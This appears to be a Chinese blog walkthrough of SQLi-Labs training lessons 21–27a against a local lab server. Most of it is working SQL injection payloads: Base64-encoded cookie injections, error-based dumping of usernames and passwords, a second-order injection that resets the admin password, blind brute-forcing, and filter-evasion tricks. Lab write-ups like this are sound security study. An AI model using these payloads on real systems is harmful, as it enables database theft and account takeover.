[靶场] SQLi-Labs Less21-Less27a

提供主要的语句,略去探测数据库名,表名,字段名的步骤。 

21.Less21

请求方式注入方式类型备注
POST基于报错注入(updatexml函数)字符型Base64编码,Cookie注入点,单引号、括号闭合

已经提前取得一个用户信息,用户名dumb,密码2

并且之后的操作都是用BurpSuite的重发器测试。

1. 正常提交

首先正常登陆上去。

可以发现Cookie进行了Base64编码,我们后续操作都需要对语句进行Base64编码。 

2. 语句报错

# Cookie: uname=Dumb1'2"3
Cookie: uname=RHVtYjEnMiIz

3. 执行注入的SQL

# Cookie: Dumb ')  or 1 #
Cookie: RHVtYiAnKSAgb3IgMSAj

# Cookie: uname=Dumb ')  order by 4#
Cookie: uname=RHVtYiAnKSAgb3JkZXIgYnkgNCM

# Cookie: uname=Dumb ')  order by 3#
Cookie: uname=RHVtYiAnKSAgb3JkZXIgYnkgMyM=

4. 数据获取

# Cookie: uname=Dumb ')  union select 1,2,updatexml(1,  concat(0x7e, (select version())) ,1) #
Cookie: uname=RHVtYiAnKSAgdW5pb24gc2VsZWN0IDEsMix1cGRhdGV4bWwoMSwgIGNvbmNhdCgweDdlLCAoc2VsZWN0IHZlcnNpb24oKSkpICwxKSAj

即可报错出数据库版本。使用下面的代码即可爆出数据库的数据。

# Cookie: uname=Dumb ')  union select 1,2,updatexml(1,  concat(0x7e, (select  concat_ws(0x7e,username,password) from (select * from users limit 0,1)x   )) ,1) #
Cookie: uname=RHVtYiAnKSAgdW5pb24gc2VsZWN0IDEsMix1cGRhdGV4bWwoMSwgIGNvbmNhdCgweDdlLCAoc2VsZWN0ICBjb25jYXRfd3MoMHg3ZSx1c2VybmFtZSxwYXNzd29yZCkgZnJvbSAoc2VsZWN0ICogZnJvbSB1c2VycyBsaW1pdCAwLDEpeCAgICkpICwxKSAj

22.Less22

请求方式注入方式类型备注
POST基于报错注入(updatexml函数)字符型Base64编码,Cookie注入点,双引号闭合

已经提前取得一个用户信息,用户名dumb,密码2

并且之后的操作都是用BurpSuite的重发器测试。

1. 正常提交

首先正常登陆上去。

2. 语句报错

# Cookie: uname=Dumb 1'2"3
Cookie: uname=RHVtYiAxJzIiMw==

3. 数据获取

和Less21类似,都是在Cookie注入,并且Cookie进行了Base64编码,区别是Less22使用双引号(")闭合,我们修改Less21的SQL语句为双引号闭合即可。

# Cookie: uname=Dumb" or 1 #
Cookie: uname=RHVtYiIgb3IgMSAj


# Cookie: uname=Dumb" union select 1,2, updatexml(1,  concat(0x7e,   (select version()) )  ,1)  #
Cookie: uname=RHVtYiIgdW5pb24gc2VsZWN0IDEsMiwgdXBkYXRleG1sKDEsICBjb25jYXQoMHg3ZSwgICAoc2VsZWN0IHZlcnNpb24oKSkgKSAgLDEpICAj


# Cookie: uname=Dumb" union select 1,2, updatexml(1,  concat(0x7e,   (select concat_ws(0x7e,username, password) from ( select * from users limit 0,1)x )) ,1)  #
Cookie: uname=RHVtYiIgdW5pb24gc2VsZWN0IDEsMiwgdXBkYXRleG1sKDEsICBjb25jYXQoMHg3ZSwgICAoc2VsZWN0IGNvbmNhdF93cygweDdlLHVzZXJuYW1lLCBwYXNzd29yZCkgZnJvbSAoIHNlbGVjdCAqIGZyb20gdXNlcnMgbGltaXQgMCwxKXggKSkgLDEpICAj

23.Less23

请求方式注入方式类型备注
GET基于报错注入(updatexml函数)字符型过滤注释符,单引号闭合

1. 正常提交

http://127.0.0.1:8003/Less-23/?id=1

2. 语句报错

http://127.0.0.1:8003/Less-23/?id=1 1'2"3

3. 执行注入的SQL

由于过滤的#,%23,--+等注释符,我们使用闭合前后引号,使用or连接来使用报错注入

http://127.0.0.1:8003/Less-23/?id=1' or 1 or '1
http://127.0.0.1:8003/Less-23/?id=1' or (select 1)  or '1

4. 数据获取

http://127.0.0.1:8003/Less-23/?id=1' or (select updatexml(1,  concat(0x7e, version()) , 1))  or '1

http://127.0.0.1:8003/Less-23/?id=1' or (select updatexml(1,  concat(0x7e, (select group_concat(concat_ws(0x7e, username ,password)) from (select * from users limit 0,1)x) ) , 1))  or '1

24.Less24

请求方式注入方式类型备注
POST二次注入(存储注入)字符型单引号闭合

我们猜测有一个用户名为admin。

1. 注册用户(一次注入)

用户名:admin'#,密码:123

2. 登陆用户,修改密码(二次注入)

登录用用户admin'#

修改密码,全部输入1。

由于我们的用户名为admin'#,且数据库未对单引号进行转义,我最终修改密码的语句为:

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' 

UPDATE users SET PASSWORD='1' where username='admin'#' and password='1'

UPDATE users SET PASSWORD='1' where username='admin'

成功将admin用户的密码修改为1。

3. 登陆admin用户

用户名:admin,密码:1

同理,对其他用户名依然可以使用此方法进行重置密码。 

25.Less25

请求方式注入方式类型备注
GET基于报错注入(updatexml函数)字符型过滤or/and,单引号闭合

1. 正常提交

http://127.0.0.1:8003/Less-25/?id=1

2. 语句报错

http://127.0.0.1:8003/Less-25/?id=1 1'2"3

3. 执行注入的SQL

有如下绕过方法:1.注释符注释;2.双写;3.||替代or,&&(%26%26)替换and

http://127.0.0.1:8003/Less-25/?id=1' || 1 %26%26 '1
http://127.0.0.1:8003/Less-25/?id=1' oorr 1 aandnd '1
http://127.0.0.1:8003/Less-25/?id=1' --+

4. 数据获取

http://127.0.0.1:8003/Less-25/?id=1' oorr (select updatexml(1,concat( 0x7e, ( select version() ) ),1 )) anandd '1

26.Less25a

请求方式注入方式类型备注
GET布尔盲注整形过滤or/and

1. 正常提交

http://127.0.0.1:8003/Less-25a/?id=1

2. 语句报错

http://127.0.0.1:8003/Less-25a/?id=1 1'2"3
http://127.0.0.1:8003/Less-25a/?id=1 oorr 1

3. 执行注入的SQL

http://127.0.0.1:8003/Less-25a/?id=1 aandnd 0

http://127.0.0.1:8003/Less-25a/?id=-1 oorr (select 1)>0
http://127.0.0.1:8003/Less-25a/?id=-1 oorr (select 1)>1

4. 数据获取

使用BurpSuite进行爆破数据库版本为例。

http://127.0.0.1:8003/Less-25a/?id=-1 oorr (select ascii(substr(  (select version()) ,1,1)) )>1

整理爆破结果,可到数据库版本。 

27.Less26

请求方式注入方式类型备注
GET基于报错注入(extractvalue函数)字符型过滤空格、注释符,单引号闭合

1. 正常提交

http://127.0.0.1:8003/Less-26/?id=1

2. 语句报错

http://127.0.0.1:8003/Less-26/?id=11'2"3
http://127.0.0.1:8003/Less-26/?id=-1' or --+

3. 执行注入的SQL

由于过滤了空格,我们使用||代替or连接就不需要空格分开,过滤了注释符,我们闭合前后引号使用报错注入。

http://127.0.0.1:8003/Less-26/?id=-1'||1||'

4. 数据获取

 我们使用括号()代替空格,例如select 1写为select(1)。

http://127.0.0.1:8003/Less-26/?id=-1'||(select(extractvalue(1,concat(0x7e, (select(version()))))) )||'

28.Less26a

请求方式注入方式类型备注
GET布尔注入字符型过滤空格、注释符,单引号、括号闭合

1. 正常提交

http://127.0.0.1:8003/Less-26a/?id=1

2. 语句报错

http://127.0.0.1:8003/Less-26a/?id=11'2"3
http://127.0.0.1:8003/Less-26a/?id=1"
http://127.0.0.1:8003/Less-26a/?id=1'

3. 执行注入的SQL

这里虽然有小括号在外面,但是我们使用||逻辑连接起来,可不去闭合外面的括号。

http://127.0.0.1:8003/Less-26a/?id='|| if(0,1,0) ||'

4. 数据获取

使用BurpSuite进行爆破。

http://127.0.0.1:8003/Less-26a/?id='|| (select(ascii(substr( (select(version())),1,1 ))))=100  ||'

29.Less27

http://127.0.0.1:8003/Less-28/?id=1'
请求方式注入方式类型备注
GET基于报错注入(updatexml函数)字符型过滤关键字select、union,单引号闭合

1. 正常提交

http://127.0.0.1:8003/Less-27/?id=1

2. 语句报错

http://127.0.0.1:8003/Less-27/?id=1'
http://127.0.0.1:8003/Less-27/?id=1''

3. 执行注入的SQL

使用大小写绕过select和union过滤。

http://127.0.0.1:8003/Less-27/?id=' || (seLEct(1)) || '
http://127.0.0.1:8003/Less-27/?id='%0AUniOn%0aSeLecT%0a1,2,3|| (seLEct(1)) || '

4. 数据获取

http://127.0.0.1:8003/Less-27/?id='%0AUniOn%0aSeLecT%0a1,concat_ws(0x7e,@@datadir,@@basedir,user(),database()),3|| (seLEct(1)) || '

30.Less27a

请求方式注入方式类型备注
GET基于报错注入(updatexml函数)字符型过滤关键字select、union,双引号闭合

1. 正常提交

http://127.0.0.1:8003/Less-27a/?id=1

2. 语句报错

http://127.0.0.1:8003/Less-27a/?id=1"
http://127.0.0.1:8003/Less-27a/?id=1""

3. 数据获取

和Less27一样,主要是闭合的符号变为双引号。

http://127.0.0.1:8003/Less-27a/?id="%0AUniOn%0aSeLecT%0a1,concat_ws(0x7e,@@datadir,@@basedir,user(),database()),3|| (seLEct(1)) || "

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值